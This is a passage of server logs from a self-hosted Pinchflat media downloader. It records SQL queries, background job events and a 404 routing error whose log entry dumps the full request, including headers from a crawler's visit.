s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:45.049 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 07:21:45.050 [error] #PID<0.140914.0> running PinchflatWeb.Endpoint (connection #PID<0.140913.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140913.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54494}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.158", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "216.73.216.158" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140914.0>, params: %{}, path_info: ["sources", "31", "media", "141299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.158"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "216.73.216.158"} ], request_path: "/sources/31/media/141299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXc5UpQMWnb7mUADfSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140913.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54494}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.158", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "216.73.216.158" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140913.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54494}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYURfT1R6TVNZVURJbXJyWXQ1UlU3b2tM.Acs0hA7J6WHrKQiZbMeeeEJGdJJJlVpxSVmgULLYnZ0", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.158", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "216.73.216.158" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" (truncated) 07:21:45.538 [info] GET /media/d945a9e6-859f-4f8f-9df5-2d1d56b66268/stream 07:21:45.538 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d945a9e6-859f-4f8f-9df5-2d1d56b66268"} Pipelines: [:maybe_basic_auth] 07:21:45.540 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1008.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d945a9e6-859f-4f8f-9df5-2d1d56b66268"] 07:21:45.541 [debug] Invalid range request for media item: d945a9e6-859f-4f8f-9df5-2d1d56b66268 - serving full file 07:21:45.541 [info] Sent 200 in 2ms 07:22:00.126 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:10.294 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:11.648 [info] GET /sources/31/media/141299 07:22:11.649 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 07:22:11.650 [debug] QUERY OK source="media_items" db=0.5ms idle=1398.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 07:22:11.651 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=1400.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 07:22:11.652 [debug] QUERY OK source="sources" db=0.8ms idle=1383.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:22:11.653 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=1358.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 07:22:11.654 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=384.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:11.655 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:11.656 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:11.657 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:22:11.658 [info] Sent 200 in 10ms 07:22:12.087 [info] GET /sources/34 07:22:12.087 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 07:22:12.088 [debug] QUERY OK source="sources" db=0.3ms idle=434.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 07:22:12.088 [debug] QUERY OK source="media_profiles" db=0.3ms idle=433.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:22:12.089 [debug] QUERY OK source="tasks" db=0.3ms idle=433.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 07:22:12.089 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=432.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 07:22:12.089 [debug] QUERY OK source="settings" db=0.1ms idle=432.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.090 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.090 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.091 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 07:22:12.092 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 07:22:12.093 [debug] QUERY OK source="media_items" db=0.7ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 07:22:12.094 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 07:22:12.094 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 07:22:12.094 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 07:22:12.095 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 07:22:12.096 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 07:22:12.097 [debug] QUERY OK source="media_items" db=0.9ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 07:22:12.099 [info] Sent 200 in 11ms 07:22:12.835 [info] GET /sources/36 07:22:12.835 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 07:22:12.837 [debug] QUERY OK source="sources" db=0.5ms idle=741.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 07:22:12.838 [debug] QUERY OK source="media_profiles" db=0.4ms idle=741.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:22:12.839 [debug] QUERY OK source="tasks" db=0.4ms idle=741.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 07:22:12.840 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=741.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 07:22:12.840 [debug] QUERY OK source="settings" db=0.1ms idle=567.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.840 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.840 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:22:12.841 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 07:22:12.842 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 